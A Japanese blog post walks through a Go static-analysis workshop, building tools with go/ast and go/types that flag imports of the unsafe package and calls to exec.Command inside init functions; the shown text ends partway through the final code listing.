go/astといったgoのパッケージを使用して抽象構文木をゲットしたり、go/typesやgo/constantといったパッケージを使用して抽象構文木から型情報を抽出したりするなど、使える部分は既存のGoのパッケージの力を借りる一方で、得た抽象構文木や型情報に対して独自のルールチェックができるようなツールを作るというのが今回の講義のテーマでした。「ルールを作る場合はツールも作る。人の手でチェックはせず、ツールに任せることで検出漏れを防ぐ。」とのことです。この間に自分はGoのインストールやGOPATHの設定、goplsとcoc-goのインストールなどを裏で行っていました。講師のtenntennさんはlanguage serverの助けを借りずに生のvimでコーディングされていました。すごい。

ここからはいくつかのハンズオンに沿って講義内容を説明します。実際の講義ではソースコードの穴埋め(コード中にTODOと書いてある部分を実装する)という方法で行われましたが、一からコードを書く体で説明します。出来上がりのコードは講師のtenntennさんの解答例ですので、解答例に対する説明ということになります。ハンズオンのコードはgithubの以下のリンクにあります。

GitHub - gohandson/analysis-ja

section01 exercise01 unsafeパッケージの利用を検出

抽象構文木を使った解析のハンズオンです。くどいですが、「ソースコード中にunsafeというパッケージが使われているかどうか」というルールを作り、そのルールをチェックするツールを作るということですね。まずは使うパッケージをインポートし、main関数からrun関数を実行するようにし、runに処理の実体を書くことにします。run()の先頭で、Cでいうargv[1]の文字列の長さが0だったらソースコードの指定がないということでreturnするようにします。 今回はstrconv.Unquoteのためにstrconvパッケージをインポートしています。

main.goのテンプレート

package main

import (
  "errors"
  "fmt"
  "go/parser"
  "go/token"
  "os"
  "strconv"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }
  return nil
}

サブルーチン、runの中を書いていきます。抽象構文木を作るためにgo/parserのParseFile関数を使用します。ローカル変数fnameに解析対象のファイル名の文字列を格納します。go/tokenのNewFileSet関数で新たなtoken.FileSet構造体を作り、ローカル変数fsetにFileSet構造体のアドレスを格納します。fsetを第一引数に、fnameを第二引数に渡してParseFileを実行します。これによって解析対象のソースコードの抽象構文木のルートのノードである、ast.File構造体へとローカル変数fからアクセスできるようになります。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  return nil
}

ast.File構造体を確認すると、File.Importsからast.ImportSpec構造体のポインタの配列にアクセスできると分かります。

ast.File

type File struct {
    Doc        *CommentGroup   // associated documentation; or nil
    Package    token.Pos       // position of "package" keyword
    Name       *Ident          // package name
    Decls      []Decl          // top-level declarations; or nil
    Scope      *Scope          // package scope (this file only)
    Imports    []*ImportSpec   // imports in this file
    Unresolved []*Ident        // unresolved identifiers in this file
    Comments   []*CommentGroup // list of all comments in the source file
}

ImportSpec.Pathからast.BasicLit構造体のポインタを手に入れることができ、BasicLit.Valueから文字列リテラルを得ることができます。

ast.ImportSpec

type ImportSpec struct {
    Doc     *CommentGroup // associated documentation; or nil
    Name    *Ident        // local package name (including "."); or nil
    Path    *BasicLit     // import path
    Comment *CommentGroup // line comments; or nil
    EndPos  token.Pos     // end of spec (overrides Path.Pos if nonzero)
}

ast.BasicLit

type BasicLit struct {
    ValuePos token.Pos   // literal position
    Kind     token.Token // token.INT, token.FLOAT, token.IMAG, token.CHAR, or token.STRING
    Value    string      // literal string; e.g. 42, 0x7f, 3.14, 1e-9, 2.4i, 'a', '\x7f', "foo" or `\m\n\o`
}

この文字列リテラルはGoのソースコードの中のimport()の中の各パッケージの名前の文字列リテラルです。よってこの文字列リテラルからstrconv.Unquoteを使って引用符をはずし、その文字列がunsafeと一致していれば検知することにすればよいです。Goでは宣言した変数を使わないとコンパイルエラーになるらしく、エラーハンドリングを省略するために例えば返り値にアンダースコアを使うといいらしいです(要出典)。

今回はfor range文のループカウンターは使わないのでアンダースコアに入れています。for range文の中でローカル変数specにf.Importsの指す配列の要素である各ast.ImportSpec構造体を格納しています。spec.Path.Valueから文字列リテラルを得られるので、その文字列リテラルをstrconv.Unquoteした結果をローカル変数pathに格納し、pathと文字列unsafeを比較しています。

go/astの構造体にはそれぞれPos()という関数が存在しているようで(後に分かるがこれは各構造体がPosというメソッドを使えると行った方が正しい表現だった)、これによってその構造体のtoken.Posが得られるようです。token.Posは「Pos is a compact encoding of a source position within a file set.」とのことで、ここからソースコードのなかの位置がわかります。さらにtoken.Posはtoken.Postion関数に渡すことでtoken.Position構造体に変換することができ、token.Position構造体から例えばunsafeパッケージはソースコードの何行目の何番にあるのかといった情報を得ることができます。今回はspec.Pos()によって得られたunsafeパッケージのImportSpec構造体のtoken.Posをfset.Positionに渡すことによってunsafeパッケージの位置を出力していますが、例えばspec.Path.Pos()からunsafeパッケージのBasicLit構造体のtoken.Posをゲットして、それを使っても同じ結果になることを確認しています。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  for _, spec:= range f.Imports {
    path, err := strconv.Unquote(spec.Path.Value)
    if err != nil {
      return err
    }
    if path == "unsafe" {
      pos := fset.Position(spec.Pos())
      fmt.Fprintf(os.Stderr, "%s: import unsafe\n", pos)
    }
  }
  return nil
}

./testdata/a.go (解析対象)

package main

import (
        "fmt"
        "unsafe"
)

type T struct {
        X [2]string
        Y string
}

func main() {
        t := T{
                X: [...]string{"A", "B"},
                Y: "C",
        }

        xp := uintptr(unsafe.Pointer(&t.X))
        yp := (*string)(unsafe.Pointer(xp + unsafe.Sizeof("")*2))
        fmt.Println(*yp)
}

#実行結果
go build .
./exercise01 testdata/a.go
testdata/a.go:5:2: import unsafe

unsafeパッケージが使われていたら、検出できるようになりました。わいわい。今回はパッケージしか確認しないのでParseFileのmodeにparser.ImportsOnlyフラグを指定しても良かったですね。

section02 exercise01 init関数における不正なコマンドの呼び出しを検出

不正なコマンドとして、exec.Command関数の呼び出しをチェックしましょう。init関数はパッケージをインポートした時に実行される関数であり、もし不正なコマンドがinit関数に書かれているパッケージがあれば、そのパッケージをインポートするだけでコマンドが実行されてしまうので、静的解析の段階で検出して防ごうという意義のハンズオンだと思います。このハンズオンは大きく分けて2段階の実装をする必要があります。第一にinit関数を見つける機能、第二にexec.Command関数の呼び出しを見つける機能です。第二の段階では抽象構文木の走査だけではダメで、型チェックの力を借りる必要があります。というのもソースコード内でexec.Commandという文字列の構造を見つけたらOKというわけではなく、使われている文字列がなんであれ実体がos/execであるようなパッケージから、さらにCommandという名前の関数が実行されている場合こそが検出したい条件であるからです。そのためにはソースコードの各識別子がどこで定義し、どこで使用されているのかという情報と、各変数や式の型がなんであるかという情報、つまり型チェックから得られる情報が必要なのです。

型チェックのためにgo/importerとgo/typesをimportします。前と同じように、run関数の中に機能の主となる処理を書くことにします。

main.goのテンプレート

package main

import (
  "errors"
  "fmt"
  "go/ast"
  "go/importer"
  "go/parser"
  "go/token"
  "go/types"
  "os"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }
  return nil
}

run関数を書いていきましょう。token.NewFileSet関数によってローカル変数fsetを、そしてparser.ParseFile関数によってローカル変数fを宣言してソースコードの抽象構文木を作るところまでは同じです。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  return nil
}

まずinit関数の宣言を探したいので、ast.FileのDeclsからast.Declインターフェースの配列にアクセスしましょう。

ast.File

type File struct {
    Doc        *CommentGroup   // associated documentation; or nil
    Package    token.Pos       // position of "package" keyword
    Name       *Ident          // package name
    Decls      []Decl          // top-level declarations; or nil
    Scope      *Scope          // package scope (this file only)
    Imports    []*ImportSpec   // imports in this file
    Unresolved []*Ident        // unresolved identifiers in this file
    Comments   []*CommentGroup // list of all comments in the source file
}

Goのインターフェースというものを正しく理解できている自信はありませんが、インターフェース内に定義されているメソッドが実装されているような構造体だけがそのインターフェースを使うことができるようです。

前回のハンズオンでImportSpec構造体のポインタであるローカル変数specに対してspec.Pos()を使うことができたのも、/usr/local/go/src/go/ast/ast.goの中にNodeというインターフェースが存在し(Nodeインターフェースはastの各構造体が使うことができるようで、ImportSpecのための特別なインターフェースではない)、Nodeインターフェース内のメソッドEnd()とPos()のImportSpec構造体用の実装が例えばfunc (s *ImportSpec) Pos() token.Pos {...}といったように存在しているので、ImportSpec構造体はNodeインターフェースを使うことができ、故にPosメソッドを使うことができたというのが正しい説明になるようです。また、Specというインターフェースが存在し、これはImportSpecに限らずValueSpecなどSpec系とされている構造体がつかえるようでありますが、Specインターフェース内のメソッドであるspecNode()のImportSpec構造体用の実装がfunc (*ImportSpec) specNode() {}としてast.go内に存在しているから、ImportSpec構造体はSpecインターフェースが使えることになります。そしてSpecインターフェースの中にNodeインターフェースが埋め込まれていて、これによってSpecインターフェースからNodeインターフェースのメソッドを使うこともできるようです。

最初は、全ての構造体が使えるNodeインターフェースをわざわざSpecインターフェースにも埋め込む意味が分かりませんでした、というのも、例えばSpecインターフェースを使う際、結局その中にはImportSpec等のNodeインターフェースを扱える構造体を代入しているわけですから。しかし、よくよく考えれば、もしSpecインターフェースにNodeインターフェースを埋め込んでいなかった場合、Specインターフェース自身には例えばPosメソッドは存在していないわけで、そのSpecインターフェースに対してPosメソッドを使いたい場合は一旦構造体のポインタに直してからPosメソッドを適用する必要に迫られて煩雑になるし不便なので、なるほど、インターフェースにインターフェースを埋め込むのは便利かもしれないと気づきました。

/usr/local/go/src/go/ast/ast.go

...
// All node types implement the Node interface.
type Node interface {
        Pos() token.Pos // position of first character belonging to the node
        End() token.Pos // position of first character immediately after the node
}
...
type (
        // The Spec type stands for any of *ImportSpec, *ValueSpec, and *TypeSpec.
        Spec interface {
                Node
                specNode()
        }

        // An ImportSpec node represents a single package import.
        ImportSpec struct {
                Doc     *CommentGroup // associated documentation; or nil
                Name    *Ident        // local package name (including "."); or nil
                Path    *BasicLit     // import path
                Comment *CommentGroup // line comments; or nil
                EndPos  token.Pos     // end of spec (overrides Path.Pos if nonzero)
        }
        ...
)
...
func (*ImportSpec) specNode() {}
...
// Pos and End implementations for spec nodes.

func (s *ImportSpec) Pos() token.Pos {
        if s.Name != nil {
                return s.Name.Pos()
        }
        return s.Path.Pos()
}
...
func (s *ImportSpec) End() token.Pos {
        if s.EndPos != 0 {
                return s.EndPos
        }
        return s.Path.End()
}
...

さて本題にもどると、ast.DeclインターフェースはdeclNode()というメソッドをもっていて、declNode()のメソッドの実装を探してみると、BadDecl構造体、GenDecl構造体、FuncDecl構造体の三つがこのインターフェースを使えるようです。実際のコードはgo/parserのparser.goなどを見てほしいですが、parser.ParseFile関数の中の実装を確認すると、go/parserの内部の構造体であるparser構造体をinitメソッドで初期化した後に、parseFile()というメソッドを呼んでいます。parseFileメソッドはast.File構造体へのポインタを返すので当然ast.Fileを作る処理があり、そこでは例えばparser構造体のparseGenDeclメソッド等で返されたGenDecl構造体のポインタがappendでast.Declの配列に追加されていっています。重要なことは、ast.File.DeclsにはBadDecl, GenDecl, FuncDecl構造体のポインタが入っており、今回探したいのはinit関数であるので、FuncDecl構造体のポインタのみにとりあえず限定する必要があるということです。

ast.Decl

...
// All declaration nodes implement the Decl interface.
type Decl interface {
        Node
        declNode()
}
...
// declNode() ensures that only declaration nodes can be
// assigned to a Decl.
func (*BadDecl) declNode()  {}
func (*GenDecl) declNode()  {}
func (*FuncDecl) declNode() {}
...

そこで使えるものとして、Goのインターフェースには型アサーションという機能があるようです。この型アサーションはインターフェースの中身の型を限定してインターフェースの中身を返すもので、もしその型にすることができなかったら初期値のnilを返す機能のようです。また、二つ目の返り値としてtrue(うまくいった)もしくはfalseが返されるようです。今回はf.Declの各ポインタにたいして型アサーションでFuncDecl構造体のポインタのみを抜き出してしまいましょう。型アサーション後のローカル変数declの中身がnilだったら型アサーション失敗ということで、FuncDecl構造体のポインタではないということになります。

init関数には加えていくつかの特徴があります。まずは、名前の文字列がinitであること。これはast.FuncDecl.Nameであるast.Ident構造体のNameメンバの文字列リテラルがinitであることを意味します。ほかには、関数であってメソッドではない、つまり、ast.FuncDecl.Recvがnilであることが必要です。さらに、外部(つまり、Goではない)関数ではない、要するに、ast.FuncDecl.Bodyがnilでないということになります。これらをコードの中に落とし込んで、その条件に合致した場合のみ、そのFuncDeclの中の関数呼び出しの解析をすることにしましょう。関数呼び出しの解析はfindCallCommand関数に実装することにします。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand()
  }
  return nil
}

init関数にはたどり着けるようになったので、次はexec.Command()をいかにして検出するかという話になります。そのためには型チェックの力を使う必要があるので、そのための準備をしてしまいましょう。型チェックはgo/typesのtypes.Config構造体のCheckメソッドを使います。types.Config構造体を作る必要がありますが、その際にConfig.Importerを指定する必要があり、go/importerのimporter.Default()を使うことにします。あまり、よく調べていませんが、Importerによって解析対象のソースコードがインポートしたパッケージのパスを解決するらしいです。Checkメソッドによる型チェックの結果を格納するtypes.Info構造体も作成します。types.Info構造体はmap型の変数の数々で構成されています。GoのmapはいわゆるDictionaryで、keyとvalueの組み合わせを保存しています。go/astの構造体のポインタやinterfaceをkeyへ、go/typesの構造体のポインタをvalueへという形でそれぞれを対応づけており、astからtypesへのアクセスを可能にするもののようですね。makeを使ってmapを作ってしまいましょう。今回の解析対象のファイルであるlib.goのパッケージ名はlibですので、第一引数にはlibを入れてconfig.Checkを呼びます。

types.Config

type Config struct {
    // Context is the context used for resolving global identifiers. If nil, the
    // type checker will initialize this field with a newly created context.
    Context *Context

    // GoVersion describes the accepted Go language version. The string
    // must follow the format "go%d.%d" (e.g. "go1.12") or it must be
    // empty; an empty string indicates the latest language version.
    // If the format is invalid, invoking the type checker will cause a
    // panic.
    GoVersion string

    // If IgnoreFuncBodies is set, function bodies are not
    // type-checked.
    IgnoreFuncBodies bool

    // If FakeImportC is set, `import "C"` (for packages requiring Cgo)
    // declares an empty "C" package and errors are omitted for qualified
    // identifiers referring to package C (which won't find an object).
    // This feature is intended for the standard library cmd/api tool.
    //
    // Caution: Effects may be unpredictable due to follow-on errors.
    //          Do not use casually!
    FakeImportC bool

    // If Error != nil, it is called with each error found
    // during type checking; err has dynamic type Error.
    // Secondary errors (for instance, to enumerate all types
    // involved in an invalid recursive type declaration) have
    // error strings that start with a '\t' character.
    // If Error == nil, type-checking stops with the first
    // error found.
    Error func(err error)

    // An importer is used to import packages referred to from
    // import declarations.
    // If the installed importer implements ImporterFrom, the type
    // checker calls ImportFrom instead of Import.
    // The type checker reports an error if an importer is needed
    // but none was installed.
    Importer Importer

    // If Sizes != nil, it provides the sizing functions for package unsafe.
    // Otherwise SizesFor("gc", "amd64") is used instead.
    Sizes Sizes

    // If DisableUnusedImportCheck is set, packages are not checked
    // for unused imports.
    DisableUnusedImportCheck bool
    // contains filtered or unexported fields
}

types.Info

type Info struct {
    // Types maps expressions to their types, and for constant
    // expressions, also their values. Invalid expressions are
    // omitted.
    //
    // For (possibly parenthesized) identifiers denoting built-in
    // functions, the recorded signatures are call-site specific:
    // if the call result is not a constant, the recorded type is
    // an argument-specific signature. Otherwise, the recorded type
    // is invalid.
    //
    // The Types map does not record the type of every identifier,
    // only those that appear where an arbitrary expression is
    // permitted. For instance, the identifier f in a selector
    // expression x.f is found only in the Selections map, the
    // identifier z in a variable declaration 'var z int' is found
    // only in the Defs map, and identifiers denoting packages in
    // qualified identifiers are collected in the Uses map.
    Types map[ast.Expr]TypeAndValue

    // Instances maps identifiers denoting generic types or functions to their
    // type arguments and instantiated type.
    //
    // For example, Instances will map the identifier for 'T' in the type
    // instantiation T[int, string] to the type arguments [int, string] and
    // resulting instantiated *Named type. Given a generic function
    // func F[A any](A), Instances will map the identifier for 'F' in the call
    // expression F(int(1)) to the inferred type arguments [int], and resulting
    // instantiated *Signature.
    //
    // Invariant: Instantiating Uses[id].Type() with Instances[id].TypeArgs
    // results in an equivalent of Instances[id].Type.
    Instances map[*ast.Ident]Instance

    // Defs maps identifiers to the objects they define (including
    // package names, dots "." of dot-imports, and blank "_" identifiers).
    // For identifiers that do not denote objects (e.g., the package name
    // in package clauses, or symbolic variables t in t := x.(type) of
    // type switch headers), the corresponding objects are nil.
    //
    // For an embedded field, Defs returns the field *Var it defines.
    //
    // Invariant: Defs[id] == nil || Defs[id].Pos() == id.Pos()
    Defs map[*ast.Ident]Object

    // Uses maps identifiers to the objects they denote.
    //
    // For an embedded field, Uses returns the *TypeName it denotes.
    //
    // Invariant: Uses[id].Pos() != id.Pos()
    Uses map[*ast.Ident]Object

    // Implicits maps nodes to their implicitly declared objects, if any.
    // The following node and object types may appear:
    //
    //     node               declared object
    //
    //     *ast.ImportSpec    *PkgName for imports without renames
    //     *ast.CaseClause    type-specific *Var for each type switch case clause (incl. default)
    //     *ast.Field         anonymous parameter *Var (incl. unnamed results)
    //
    Implicits map[ast.Node]Object

    // Selections maps selector expressions (excluding qualified identifiers)
    // to their corresponding selections.
    Selections map[*ast.SelectorExpr]*Selection

    // Scopes maps ast.Nodes to the scopes they define. Package scopes are not
    // associated with a specific node but with all files belonging to a package.
    // Thus, the package scope can be found in the type-checked Package object.
    // Scopes nest, with the Universe scope being the outermost scope, enclosing
    // the package scope, which contains (one or more) files scopes, which enclose
    // function scopes which in turn enclose statement and function literal scopes.
    // Note that even though package-level functions are declared in the package
    // scope, the function scopes are embedded in the file scope of the file
    // containing the function declaration.
    //
    // The following node types may appear in Scopes:
    //
    //     *ast.File
    //     *ast.FuncType
    //     *ast.TypeSpec
    //     *ast.BlockStmt
    //     *ast.IfStmt
    //     *ast.SwitchStmt
    //     *ast.TypeSwitchStmt
    //     *ast.CaseClause
    //     *ast.CommClause
    //     *ast.ForStmt
    //     *ast.RangeStmt
    //
    Scopes map[ast.Node]*Scope

    // InitOrder is the list of package-level initializers in the order in which
    // they must be executed. Initializers referring to variables related by an
    // initialization dependency appear in topological order, the others appear
    // in source order. Variables without an initialization expression do not
    // appear in this list.
    InitOrder []*Initializer
}

また、os/execのexec.Commandメソッドの実体かどうかを特定できるよう、exec.Commandのオブジェクトを取得しておきましょう。パッケージが違うなど、スコープが違えばオブジェクトも違ってくるので、os/execパッケージのスコープからCommandメソッドのオブジェクトを探すことになります。ここで得られたオブジェクトの情報は、後にinit関数のBody部分の抽象構文木を探索して得るオブジェクトの情報との比較に使うことになります。

型情報として現在手元にあるのは、types.Package構造体のポインタであるローカル変数pkgとtypes.Info構造体のポインタであるローカル変数infoです。まず、os/execパッケージのtypes.Package構造体を取得するために、pkg.Importsメソッドによってpkg.importsメンバ、つまりインポートしているtypes.Package構造体の配列を取得し、それをfor rangeで回します。もしあるtypes.Package構造体のPathメソッドの返り値の文字列がos/execと一致していれば、os/execパッケージのtypes.Package構造体を取得できたということで、さらにScopeメソッドでos/execパッケージのtypes.Scope構造体のポインタを取得し、Lookupメソッドでそのtypes.Scope構造体の中のCommandオブジェクトを取得します。これでfincCallCommand関数の実装に入る準備ができましたね。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand()
  }
  return nil
}

types.Package

// A Package describes a Go package.
type Package struct {
        path     string
        name     string
        scope    *Scope
        complete bool
        imports  []*Package
        fake     bool // scope lookup errors are silently dropped if package is fake (internal use only)
        cgo      bool // uses of this package will be rewritten into uses of declarations from _cgo_gotypes.go
}

types.Scope

// A Scope maintains a set of objects and links to its containing
// (parent) and contained (children) scopes. Objects may be inserted
// and looked up by name. The zero value for Scope is a ready-to-use
// empty scope.
type Scope struct {
        parent   *Scope
        children []*Scope
        number   int               // parent.children[number-1] is this scope; 0 if there is no parent
        elems    map[string]Object // lazily allocated
        pos, end token.Pos         // scope extent; may be invalid
        comment  string            // for debugging only
        isFunc   bool              // set if this is a function scope (internal use only)
}

findCallCommand関数が必要とする情報は、ソースコード内の位置情報を出力するtoken.FileSet.Positionメソッドを使うためのローカル変数fset、型情報を保持しているtypes.Info構造体であるローカル変数info、os/exec.Commandのオブジェクトであるローカル変数execCommand、第一段階の実装で見つけたinit関数の中の処理に相当する抽象構文木のrootノードであるdecl.Bodyの4つです。これらをそれぞれ引数で渡し、以降はfindCallCommand関数の実装を行います。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
    Defs: make(map[*ast.Ident]types.Object),
    Uses: make(map[*ast.Ident]types.Object),
    Implicits: make(map[ast.Node]types.Object),
    Selections: make(map[*ast.SelectorExpr]*types.Selection),
    Scopes: make(map[ast.Node]*types.Scope),
    InitOrder: []*types.Initializer{},
  }

  pkg, err := config.Check("lib", fset, []*ast.File{f}, info)
  if err != nil {
    return err
  }

  var execCommand types.Object
  for _, p:= range pkg.Imports() {
    if p.Path() == "os/exec" {
      execCommand = p.Scope().Lookup("Command")
      break
    }
  }

  for _, decl := range f.Decls {
    decl, _ := decl.(*ast.FuncDecl)
    if decl == nil || decl.Recv != nil || decl.Name.Name != "init" || decl.Body == nil {
      continue
    }
    findCallCommand(fset, info, execCommand, decl.Body)
  }
  return nil
}

init関数のBody部分にどれほどネストが存在するのかは解析対象依存ですので、Body部分の抽象構文木全体のノードを探索します。抽象構文木の探索にはast.Inspect関数を使います。ast.Inspect関数は第一引数に渡されたノードをルートとして抽象構文木深さ優先探索を行い、各ノードに対して第二引数に渡した関数を使用します。個人的には関数自体を関数の引数に渡すのは初めての経験で、Goはこんなこともできるんだなぁという気持ちです。より正確にはGoには関数型という型があって、ast.Inspectの第二引数には関数型の変数が渡されているっぽいです。合っているかな。

ast.Inspectは/usr/local/go/src/go/ast/walk.goに宣言されています。ast.Inspectの中ではast.Walk関数が呼ばれており、Walk関数の第一引数にはinspector(f)が入っています。inspectorはfunc(Node) boolという関数型の型であり、最初は何をしているのかよく分からなかったのですが、ast.Inspectorの第二引数をinspector型にcastしているようです。Goのcast文はこうやって書くんですね。また、Visitorというインターフェイスが用意されていて、VisitorにはVisitというメソッドがありますが、inspector型用のVisitメソッドの実装が存在するのでinspector型はVisitorインターフェースを使用することができます。inspector型のVisitメソッドは、受け取ったnodeに対してそのinspector型の関数を実行します。そしてその返り値がtrueの場合はif文の中に入ってメソッドを使った自身であるinspector型をreturnし、falseだった場合はnilが返ります。例えばv := inspector(func(n ast.Node) bool {return true})というinspector型の変数vがあるとして、v.Visit(node)というようにVisitメソッドを使うと、vの関数(関数型の変数にたいしてその関数を呼称するときに関数型変数の関数という呼び方をして大丈夫なのかどうかは僕は分かりません)であるfunc()がnodeを引数にとって実行されてtrueを返すのでVisitメソッド内のif文の中に入り、vをreturnします。

ast.Walkは第一引数にVisitorインターフェースを、第二引数にast.Nodeを取ります。そしてまず最初にそのNodeに対してVisitメソッドを呼び出し、返ってきた値(VisitメソッドはVisitorインターフェースを返す)がnilだったらリターンし、もしnilでなかったらNodeに対して型アサーションを実行します。switch n := node.(type) {case *Comment: hoge; case *Package: hugaのようにswitch文でast.Nodeの各型によって場合分けをして、そのNodeに子ノードが存在していればその子ノードに対してast.Walkを実行します。

/usr/local/go/src/go/ast/walk.go

...
// A Visitor's Visit method is invoked for each node encountered by Walk.
// If the result visitor w is not nil, Walk visits each of the children
// of node with the visitor w, followed by a call of w.Visit(nil).
type Visitor interface {
    Visit(node Node) (w Visitor)
}
...
func Walk(v Visitor, node Node) {
    if v = v.Visit(node); v == nil {
        return
    }

    // walk children
    // (the order of the cases matches the order
    // of the corresponding node types in ast.go)
    switch n := node.(type) {
    // Comments and fields
        case:
    default:
        panic(fmt.Sprintf("ast.Walk: unexpected node type %T", n))
    }

    v.Visit(nil)
}
type inspector func(Node) bool

func (f inspector) Visit(node Node) Visitor {
    if f(node) {
        return f
    }
    return nil
}

// Inspect traverses an AST in depth-first order: It starts by calling
// f(node); node must not be nil. If f returns true, Inspect invokes f
// recursively for each of the non-nil children of node, followed by a
// call of f(nil).
func Inspect(node Node, f func(Node) bool) {
    Walk(inspector(f), node)
}

ここまでをまとめて実際に分かっていればよいことは、深さ優先探索というアルゴリズムに則って、抽象構文木のルートとして設定したast.Nodeから順に各ノードにたいしてast.Inspectの第二引数に渡されたユーザー定義のinspector型の関数を実行するが、その関数がfalseを返す特別な場合には現在のノードの子ノードから先に対しては探索を行わないということです。よってやるべきことは各ノードに対してexecCommandと一致するtypes.ObjectをCallしているかどうかを判定するinspector型の関数を実装してast.Inspectの第二引数に渡すことになります。

まず、exec.Commandは関数呼び出しなので、型アサーションを各ノードに対して行ってast.CallExprへのポインタであるかどうかを確認します。*ast.CallExprでない場合は探索を続けるのでその時点でtrueを返します。次に、ノードがast.CallExprであったときの更なるチェックを行います。exec.Commandはメソッドであり、ast.CallExpr構造体のFunメンバであるExprインターフェースの中身はast.SelectorExprであるはずです。これも型アサーションを行い、*ast.SelectorExprでなかった場合はtrueを返し探索を続行するようにします。githubの解答例ではfalseを返していますが、その場合はメソッドでない関数呼び出しの中の抽象構文木より先は探索を行わないので、例えばfunc check(cmd *myexec.Cmd) *myexec.Cmd {return cmd}のようなラッパー関数みたいなものを作ってinit関数内でcheck(myexec.Command("ls")を実行する、といったようにメソッドでない関数呼び出しの引数の中でexec.Commandを実行された場合は検出漏れしてしまいますのでtrueを返すようにしました。勿論講義の中では解答例のコードは完璧ではなく、例えばexec.Commandを一旦test := exec.Commandのように変数に代入してからtest("ls")を実行するといった方法を使われると回避されてしまう、などという説明がありました。

さて、以上のチェックをくぐり抜けてきたノードはメソッドと言えるのでこのast.SelectorExpr.Selからメソッドのast.Identを取得します。このast.Identに対応するtypes.Objectがexec.Commandのtypes.Objectと一致するかを比較し、一致していれば出力するようにすれば、検出できたということになります。一致していなければ別のメソッドということになるので、trueを返して探索を続けます。ast.Infoによってastの各構造体にtypesの各構造体が対応付けられているという話をしましたが、今回のようにast.Ident構造体からtypes.Object構造体のポインタをゲットしたい場合はtypes.Info.Objectofというメソッドがあります。このメソッドは引数に渡されたast.Identのポインタに対応するtypes.Objectのポインタをtypes.Info構造体のDefsメンバとUsesメンバのmapから探して返してくれます。

findCallCommand

func findCallCommand(fset *token.FileSet, info *types.Info, execCommand types.Object, root ast.Node) {
  ast.Inspect(root, func(n ast.Node) bool {
    call, _ := n.(*ast.CallExpr)
    if call == nil {
      return true
    }

    sel, _ := call.Fun.(*ast.SelectorExpr)
    if sel == nil {
      return true
    }

    fun := info.ObjectOf(sel.Sel)
    if fun == execCommand {
      pos := fset.Position(n.Pos())
      fmt.Fprintf(os.Stdout, "%s: find exec.Command in init\n", pos)
      return false
    }
    return true
  })
}

ast.CallExpr

type CallExpr struct {
    Fun      Expr      // function expression
    Lparen   token.Pos // position of "("
    Args     []Expr    // function arguments; or nil
    Ellipsis token.Pos // position of "..." (token.NoPos if there is no "...")
    Rparen   token.Pos // position of ")"
}

ast.SelectorExpr
type SelectorExpr struct { X Expr // expression Sel *Ident // field selector }

types.ObjectOf()

// ObjectOf returns the object denoted by the specified id,
// or nil if not found.
//
// If id is an embedded struct field, ObjectOf returns the field (*Var)
// it defines, not the type (*TypeName) it uses.
//
// Precondition: the Uses and Defs maps are populated.
func (info *Info) ObjectOf(id *ast.Ident) Object {
        if obj := info.Defs[id]; obj != nil {
                return obj
        }
        return info.Uses[id]
}

これにて実装は終了です。最後に全体のコードを確認して実行してみましょう。

main.go

package main

import (
  "errors"
  "fmt"
  "go/ast"
  "go/importer"
  "go/parser"
  "go/token"
  "go/types"
  "os"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }

  config := &types.Config{
    Importer: importer.Default(),
  }

  info := &types.Info{
    Types: make(map[ast.Expr]types.TypeAndValue),
    Instances: make(map[*ast.Ident]types.Instance),
